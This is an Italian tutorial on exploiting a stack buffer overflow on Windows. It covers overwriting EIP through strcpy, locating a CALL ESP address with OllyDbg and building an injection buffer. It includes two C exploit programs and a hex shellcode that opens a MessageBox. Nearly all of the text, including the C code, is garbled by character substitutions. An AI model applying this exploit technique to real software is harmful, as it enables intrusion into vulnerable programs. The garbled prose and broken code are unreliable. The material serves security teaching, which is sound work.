'all9immagi e precede te possiamo otare che il valore di ?,P 4 stato sovrascritto dalla se:ue 7a di caratteri cccc (FBFBFBFB) ed il valore di ?0P dalla se:ue 7a 7777 (F2F2F2F2). (a sovrascrittura del valore di ?,P seg ala che siamo i prese 7a di u a vul erabilit6 di Stac1 Over#lo*. ?sse do il valore di ?,P sovrascritto esattame te co gli ultimi A byte della stri ga i i put! proviamo ad i serire altri caratteri i modo da sovrascrivere altre aree di memoria prima del #rame della #u 7io e vul erabile (come egli esempi ei paragra#i precede ti) e vedere dove pu ta ?SP. (a stri ga di testi g :uesta volta sar6 aaaaaaaaaaaaaaaaaaaa((((ccccdddddddddddddddddddddddddddd.

, :uesto caso siamo stati #ortu ati poich8 ?SP pu ta esattame te all9i diri77o 0022FFA0 dove so o prese ti i dati arbitrari che ha o causato l9over#lo*. > possibile otare che co la stri ga di testi g so o state sovrascritte G celle di memoria oltre il #rame della #u 7io e vul erabile. Per dirottare l9esecu7io e delle istru7io i macchi a del so#t*are o dobbiamo #ar altro che i serire al posto di Kddddd...L del codice i li guaggio macchi a ed al posto di KccccL l9i diri77o di memoria di u a cella che co tie e u 9istru7io e capace di ?are un salto all9i diri77o dove sar6 prese te la prima istru7io e del codice arbitrario! ovvero 0022FFA0! ovvero il valore di ?SP dopo l9over#lo*. Og i so#t*are #a uso di determi ate librerie ed 4 abbasta 7a probabile che i u a di :ueste vi sia u 9istru7io e di tipo C2(( ?SP o ^MP ?SP! u 9istru7io e di salto al valore corre te di ?SP i somma. Og i istru7io e i og i libreria ha u 9i diri77o di memoria #isso esse do gi6 compilate. Per a dare alla ricerca di :ueste istru7io i! apriamo uovame te l9eseguibile co Olly'bg e clicchiamo sul botto e . i alto che ci mostrer6 la mappa della memoria. 'a :ui sar6 possibile otare alcu e librerie. Per a ali77are il codice prese te all9i ter o di :ueste occorre cliccare sulla voce %text che seg ala la se7io e di memoria text segment! che come sappiamo dal primo paragra#o co tie e il codice i li guaggio macchi a. Fatto ciD si aprir6 u a #i estra co il listato assembly della libreria. Clicchiamo col tasto destro del mouse su u a parte di essa e dal me 5 a te di a cliccare sulla voce Search ?or ` Command e cercare ad esempio l9istru7io e C2(( ?SP.

(9esito della ricerca 4 stato positivo ed ha riportato u 9istru7io e C2(( ?SP all9i diri77o H%C36I)C.

%el ostro caso! :uest9i diri77o risulta essere ido eo poich8 o co tie e il byte 0/00 che termi erebbe la scrittura di dati da parte della #u 7io e strcpy utili77ata per l9over#lo*. =ui di il codice di i aectio (shellcode) o dovr6 co te ere alcu byte di tipo 0/00. %o resta che decidere che codice #are eseguire. , :uesto caso! dato che Olly'bg 4 i ascolto di seg ali i terrupt! utili77iamo l9istru7io e assembly ,%.B per ge erar e u o. ?segue do :uesta istru7io e ci si aspetta che Olly'bg mostri immediatame te u 9ista ta ea della memoria. (9opcode i esadecimale dell9istru7io e ,%.B 4 0/CC. @icordo che le istru7io i i memoria ovviame te va o i serite i li guaggio macchi a! :ui di i bi ario. Per ovvie ragio i le speci#ichiamo i esadecimale e poi successivame te sar6 il so#t*are che e##ettuer6 l9i aectio a co vertirle i bi ario. .ale so#t*are pre de il ome di e*ploit. @icapitola do! :uello che dobbiamo #are ora 4 scrivere u so#t*are che sostituisca ad ?,P il valore GCHBF9'H ed i serisca su ?SP il valore 0/CC. $iusto per sicure77a! prima di #ar eseguire l9istru7io e ,%.B #aremo eseguire :ualche istru7io e di %OP (opcode 0/90)! che o e##ettua essu a opera7io e se o :uella di co sumare a vuoto cicli di CP&. , processori /HF ha o u 9architettura (ittle ? dia ! :ui di i dati i memoria devo o essere capovolti di A i A (poich8 stiamo lavora do su u sistema a B2 bit)! di co segue 7a l9i diri77o che deve essere scritto su ?,P! i memoria deve prese tarsi come segue; H%C36I)C b GCHB F9'H b F9'H GCHB b F9'H HBGC b 6I)CC3H% ,l segue te 4 u esempio di e/ploit scritto i C (e/ploit.c) per il so#t*are vul erabile appe a trattato.
Ni clude Tstdio.hU Ni clude Tstdlib.hU Ni clude Tstri g.hU i t mai (i t argc! char VargvXY) W i t p1gle b 0+ u sig ed char Vp1g Vpu b %&((! b %&((+

i#(argc T 2) W pri t#(3Z &so; [s omePapplica7io eZ Z 3! argvX0Y)+ retur -1+ \ pk#len : "trlen1ar#v;/<2 > JJ Lun#hezza el no!e ell8applicazione vulnera7ile 4 > JJ Spazio@ ue vir#olette per l8input@ .ULL 7(te 04 > JJ SeKuenza i overflow fino a EBP 4 > JJ Lun#hezza E&P // > JJ &"truzioni .OP /B JJ Un 7(te per &.,3@ "hellco e p1g b (u sig ed char V) malloc(p1gle )+ i#(cp1g) W perror(3Z Malloc3)+ retur -1+ \

pu b p1g+ pu ]b spri t#((char V)pu ! 3[s Z33! argvX1Y)+ memset(pu ! 0/F1! 2A)+ pu ]b 2A+ !e!cp(1pun@ LM*)CM*6IM*C3M*H%L@ 42B pun >: 4B memset(pu ! 0/90! 11)+ pu ]b 11+ !e!cp(1pun@ LM*%%L@ /2B pun >: /B memcpy(pu ! 3Z/22Z/003! 2)+ "("te!11char N2pk#2B retur 0+ \

2 :uesto pu to o resta che compilarlo ed eseguirlo.

(9immagi e co #erma l9esecu7io e del codice arbitrario! come volevasi dimostrare.

Proviamo :uesta volta a #ar eseguire :ualcosa di pi5 sosta 7ioso! come ad esempio u Message 0o/ classico di Ri do*s. Per #are ciD serve u o shellcode adatto allo scopo! al sistema operativo e di u a dime sio e tale da riuscire ad e trare per#ettame te ello Stac1. , oltre el ostro caso lo shellcode o deve possedere alcu byte 0/00. ?##ettua do dei test co Olly'bg! sullo Stac1! dopo la sovrascrittura di ?,P! i :uesto caso 4 possibile i serire #i o ad u massimo di 1E2 byte di codice arbitrario! oltre il :uale la #u 7io e strcpy abortisce prima di ritor are il valore di ?,P sovrascritto. =ui di lo shellcode dovr6 avere u a dime sio e massima di 1E2 byte. Face do delle ricerche su i ter et 4 possibile riuscire a trovare :ualcosa che #a al caso ostro altrime ti occorre scriver e u o da 7ero! ma o 4 scopo di :uesto docume to illustrare la scrittura di shellcode. (9e/ploit utili77ato 4 sosta 7ialeme te ide tico al precede te! arbitrario che i :uesto caso sar6 il segue te; l9u ica di##ere 7a sta el codice

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2" "\x51\x68\x6c\x6c\x20\x20\x68\x33" "\x32\x2e\x64\x68\x75\x73\x65\x72" "\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" "\xff\xd3\xb9\x5e\x67\x30\xef\x81" "\xc1\x11\x11\x11\x11\x51\x68\x61" "\x67\x65\x42\x68\x4d\x65\x73\x73" "\x89\xe1\x51\x50\xbb\x40\xae\x80" "\x7c\xff\xd3\x89\xe1\x31\xd2\x52" "\x51\x51\x52\xff\xd0\x31\xc0\x50"
"\xb8\x12\xcb\x81\x7c\xff\xd0"

=uesto shellcode si occuper6 di #ar eseguire u Message 0o/ ave te come co te uto la stri ga 'e""a#eBo*A. %o resta che scrivere l9e/ploit! compilarlo ed eseguirlo.
Ni clude Tstdio.hU Ni clude Tstdlib.hU Ni clude Tstri g.hU i t mai (i t argc! char VargvXY) W i t p1gle b 0+ u sig ed char Vp1g b %&((! Vpu b %&((! shellcodeXY b 3Z/B1Z/c0Z/B1Z/dbZ/B1Z/c9Z/B1Z/d23 3Z/E1Z/FHZ/FcZ/FcZ/20Z/20Z/FHZ/BB3 3Z/B2Z/2eZ/FAZ/FHZ/GEZ/GBZ/FEZ/G23 3Z/H9Z/e1Z/bbZ/GbZ/1dZ/H0Z/GcZ/E13 3Z/##Z/dBZ/b9Z/EeZ/FGZ/B0Z/e#Z/H13 3Z/c1Z/11Z/11Z/11Z/11Z/E1Z/FHZ/F13 3Z/FGZ/FEZ/A2Z/FHZ/AdZ/FEZ/GBZ/GB3 3Z/H9Z/e1Z/E1Z/E0Z/bbZ/A0Z/aeZ/H03 3Z/GcZ/##Z/dBZ/H9Z/e1Z/B1Z/d2Z/E23 3Z/E1Z/E1Z/E2Z/##Z/d0Z/B1Z/c0Z/E03 3Z/bHZ/12Z/cbZ/H1Z/GcZ/##Z/d03+

i#(argc T 2) W pri t#(3Z &so; [s omePapplica7io eZ Z 3! argvX0Y)+ retur -1+ \ p1gle b strle (argvX1Y) ] A] 2A ] A] 11 ] si7eo#(shellcode)-1+ p1g b (u sig ed char V) malloc(p1gle )+ i#(cp1g) W perror(3Z Malloc3)+ retur -1+ \ pu b p1g+ pu ]b spri t#((char V)pu ! 3[s Z33! argvX1Y)+ memset(pu ! 0/F1! 2A)+ pu ]b 2A+ memcpy(pu ! 3Z/'HZ/F9Z/HBZ/GC3! A)+ pu ]b A+ memset(pu ! 0/90! 11)+ pu ]b 11+ memcpy(pu ! shellcode! si7eo#(shellcode)-1)+ pu ]b si7eo#(shellcode)-1+ memcpy(pu ! 3Z/22Z/003! 2)+ system((char V)p1g)+ retur 0+ \ "" (u ghe77a del ome dell9applica7io e vul erabile "" Spa7io! due virgolette per l9i put! %&(( byte "" Se:ue 7a di over#lo* #i o a ?0P "" (u ghe77a ?,P "" ,stru7io i %OP "" HG byte per lo shellcode

Rin#razia!enti@ riferi!enti 7i7lio#rafici e contatti


Per la stesura di :uesto docume to ri gra7io i primo luogo (uigi 2uriemma (***.aluigi.org)! per le critiche che mi ha o permesso di scrivere u docume to pi5 alla portata di tutti! ed il mio amico 2l#io Sa ti i che si 4 comportato da vero e proprio beta tester. %ello Scarabottolo. K(i guaggio Macchi aL (http;""***.dti.u imi.it"scarabottolo"archi,"M2arch,.pd#) d Per le immagi i dell9architettura di u a CP& e delle #asi di Fetch! 'ecode ed ?/tecute. Per :ualsiasi i #orma7io e "alvatorefre"taO#!ail9co!. potete co tattarmi al segue te i diri77o;